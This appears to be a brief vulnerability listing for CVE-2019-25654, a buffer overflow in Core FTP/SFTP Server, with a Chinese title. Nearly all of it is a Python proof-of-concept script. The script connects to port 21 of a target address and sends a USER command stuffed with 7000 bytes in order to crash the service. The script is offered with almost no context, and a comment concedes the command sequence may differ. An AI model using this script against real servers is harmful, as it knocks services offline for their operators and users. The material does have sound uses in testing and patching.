CVE-2019-25654 Core FTP/SFTP Server 缓冲区溢出漏洞

import socket # Target settings TARGET_IP = "192.168.1.10" TARGET_PORT = 21 # Generate payload: 7000 bytes of 'A' payload = b"A" * 7000 try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Connected to {TARGET_IP}") # Receive server banner s.recv(1024) # Send malicious payload to trigger buffer overflow in User domain field # Note: The exact command sequence may vary based on specific implementation s.send(b"USER " + payload + b"\r\n") print("[+] Payload sent, checking if service crashed...") # Clean up s.close() except Exception as e: print(f"[-] An error occurred: {e}")